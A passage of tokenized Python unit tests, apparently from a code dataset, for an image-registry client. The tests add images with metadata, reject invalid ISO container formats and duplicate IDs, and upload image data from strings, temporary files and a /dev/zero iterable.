", "attribute", "s", " ", "set_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image", "\\u", "meta_", "(_", "new", "\\u", "image", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "del_", "fixture_", "[_", "'", "location", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "data_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "status", " ", "was", " ", "update", "d", " ", "proper", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "status", "'_", "in_", "data_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "'", "active", "'_", ",_", "data_", "[_", "'", "status", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "with", "\\u", "properties_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "we", " ", "can", " ", "add", " ", "image", " ", "metadata", " ", "with", " ", "proper", "ties", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "\"", "file", ":///", "tmp", "/", "gla", "nce", "-", "tests", "/", "2", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "'", "distr", "o", "'_", ":_", "'", "Ub", "unt", "u", " ", "10.", "04", " ", "LT", "S", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "image_", "=_", "self_", "._", "client_", "._", "add", "\\u", "image_", "(_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "image", "\\u", "id_", "=_", "new", "\\u", "image_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "all", " ", "other", " ", "attribute", "s", " ", "set_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image", "\\u", "meta_", "(_", "new", "\\u", "image", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "del_", "fixture_", "[_", "'", "location", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "data_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "status", " ", "was", " ", "update", "d", " ", "proper", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "status", "'_", "in_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "'", "active", "'_", ",_", "data_", "[_", "'", "status", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "with", "\\u", "iso", "\\u", "properties_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "we", " ", "can", " ", "add", " ", "image", " ", "metadata", " ", "with", " ", "ISO", " ", "disk", " ", "format", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "iso", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "iso", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "bare", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "\"", "file", ":///", "tmp", "/", "gla", "nce", "-", "tests", "/", "2", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "'", "install", "'_", ":_", "'", "Bind", "ow", "s", " ", "Heav", "en", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "image_", "=_", "self_", "._", "client_", "._", "add", "\\u", "image_", "(_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "image", "\\u", "id_", "=_", "new", "\\u", "image_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "all", " ", "other", " ", "attribute", "s", " ", "set_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image", "\\u", "meta_", "(_", "new", "\\u", "image", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "del_", "fixture_", "[_", "'", "location", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "data_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "status", " ", "was", " ", "update", "d", " ", "proper", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "status", "'_", "in_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "'", "active", "'_", ",_", "data_", "[_", "'", "status", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "with", "\\u", "bad", "\\u", "iso", "\\u", "properties_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Verify", " ", "tha", "t", " ", "ISO", " ", "with", " ", "invalid", " ", "container", " ", "format", " ", "is", " ", "reject", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "Inten", "ded", " ", "to", " ", "exercise", " ", "error", " ", "path", " ", "onc", "e", " ", "rat", "her", " ", "than", " ", "be", " ", "exhaust", "ive", "\\", "10", ";", " ", " ", " ", " ", "set", " ", "of", " ", "mismatche", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "iso", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "iso", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "\"", "file", ":///", "tmp", "/", "gla", "nce", "-", "tests", "/", "3", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "'", "install", "'_", ":_", "'", "Bind", "ow", "s", " ", "Heav", "en", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Invalid_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "add", "\\u", "image_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "alr", "ead", "y", "\\u", "exists_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "proper", " ", "exception", " ", "is", " ", "raise", "d", " ", "if", " ", "image", " ", "with", " ", "ID", " ", "alr", "ead", "y", " ", "exist", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "bad", " ", "status", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "\"", "file", ":///", "tmp", "/", "gla", "nce", "-", "tests", "/", "2", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Duplicate", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "add", "\\u", "image_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "with", "\\u", "bad", "\\u", "status_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "a", " ", "bad", " ", "status", " ", "is", " ", "set", " ", "to", " ", "a", " ", "proper", " ", "one", " ", "by", " ", "server", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "bad", " ", "status", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "\"", "file", ":///", "tmp", "/", "gla", "nce", "-", "tests", "/", "2", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "image_", "=_", "self_", "._", "client_", "._", "add", "\\u", "image_", "(_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "new", "\\u", "image_", "[_", "'", "status", "'_", "]_", ",_", "'", "active", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "with", "\\u", "image", "\\u", "data\\u", "as", "\\u", "string_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "can", " ", "add", " ", "image", " ", "by", " ", "passi", "ng", " ", "image", " ", "data", " ", "as", " ", "string", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "'", "distr", "o", "'_", ":_", "'", "Ub", "unt", "u", " ", "10.", "04", " ", "LT", "S", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "image", "\\u", "data\\u", "fixture_", "=_", "r", "\"", "chunk", "00000", "remainder", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "image_", "=_", "self_", "._", "client_", "._", "add", "\\u", "image_", "(_", "fixture_", ",_", "image", "\\u", "data\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "image", "\\u", "id_", "=_", "new", "\\u", "image_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "meta_", ",_", "new", "\\u", "image", "\\u", "chunks_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image_", "(_", "new", "\\u", "image", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "image", "\\u", "data_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "image", "\\u", "chunk_", "in_", "new", "\\u", "image", "\\u", "chunks_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "image", "\\u", "data_", "+=_", "image", "\\u", "chunk_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "image", "\\u", "data\\u", "fixture_", ",_", "new", "\\u", "image", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "new", "\\u", "meta_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "with", "\\u", "image", "\\u", "data\\u", "as", "\\u", "file_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "can", " ", "add", " ", "image", " ", "by", " ", "passi", "ng", " ", "image", " ", "data", " ", "as", " ", "file", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "'", "distr", "o", "'_", ":_", "'", "Ub", "unt", "u", " ", "10.", "04", " ", "LT", "S", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "image", "\\u", "data\\u", "fixture_", "=_", "r", "\"", "chunk", "00000", "remainder", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tmp", "\\u", "image", "\\u", "filepath_", "=_", "'/", "tmp", "/", "rub", "bis", "h", "-", "image", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "exists_", "(_", "tmp", "\\u", "image", "\\u", "filepath_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "unlink_", "(_", "tmp", "\\u", "image", "\\u", "filepath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tmp", "\\u", "file_", "=_", "open_", "(_", "tmp", "\\u", "image", "\\u", "filepath_", ",_", "'", "wb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmp", "\\u", "file_", "._", "write_", "(_", "image", "\\u", "data\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmp", "\\u", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "image_", "=_", "self_", "._", "client_", "._", "add", "\\u", "image_", "(_", "fixture_", ",_", "open_", "(_", "tmp", "\\u", "image", "\\u", "filepath_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "image", "\\u", "id_", "=_", "new", "\\u", "image_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "exists_", "(_", "tmp", "\\u", "image", "\\u", "filepath_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "unlink_", "(_", "tmp", "\\u", "image", "\\u", "filepath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "\\u", "meta_", ",_", "new", "\\u", "image", "\\u", "chunks_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image_", "(_", "new", "\\u", "image", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "image", "\\u", "data_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "image", "\\u", "chunk_", "in_", "new", "\\u", "image", "\\u", "chunks_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "image", "\\u", "data_", "+=_", "image", "\\u", "chunk_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "image", "\\u", "data\\u", "fixture_", ",_", "new", "\\u", "image", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "new", "\\u", "meta_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "add", "\\u", "image", "\\u", "as", "\\u", "iterable_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "10_", "*_", "65536_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "'", "distr", "o", "'_", ":_", "'", "Ub", "unt", "u", " ", "10.", "04", " ", "LT", "S", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Zero", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "chunks_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "chunks_", "=_", "chunks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "zeros_", "=_", "open_", "(_", "'/", "dev", "/", "zero", "'_", ",_", "'", "rb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "iter\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "self_", "._", "chunks_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "chunks_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "chunk_", "=_", "self_", "._", "zeros_", "._", "read_", "(_", "65536_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "chunk_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "\\u", "image_", "=_", "self_", "._", "client_", "._", "add", "\\u", "image_", "(_", "fixture_", ",_", "Zero", "s_", "(_", "10_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "image", "\\u", "id_", "=_", "new", "\\u", "image_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "meta_", ",_", "new", "\\u", "image", "\\u", "chunks_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image_", "(_", "new", "\\u", "image", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "(_", "fixture_", ",_", "new", "\\u", "meta_", ",_", "new", "\\u", "image", "\\u", "chunks_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "verify", "\\u", "image", "\\u", "iterable_", "(_", "self_", ",_", "fixture_", ",_", "meta_", ",_", "chunks_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "image", "\\u", "data\\u", "len_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "image", "\\u", "chunk_", "in_", "chunks_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "image", "\\u", "data\\u", "len_", "+=_", "len_", "(_", "image", "\\u", "chunk_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "10_", "*_", "65536_", ",_", "image", "\\u", "data\\u", "len_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "meta_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", 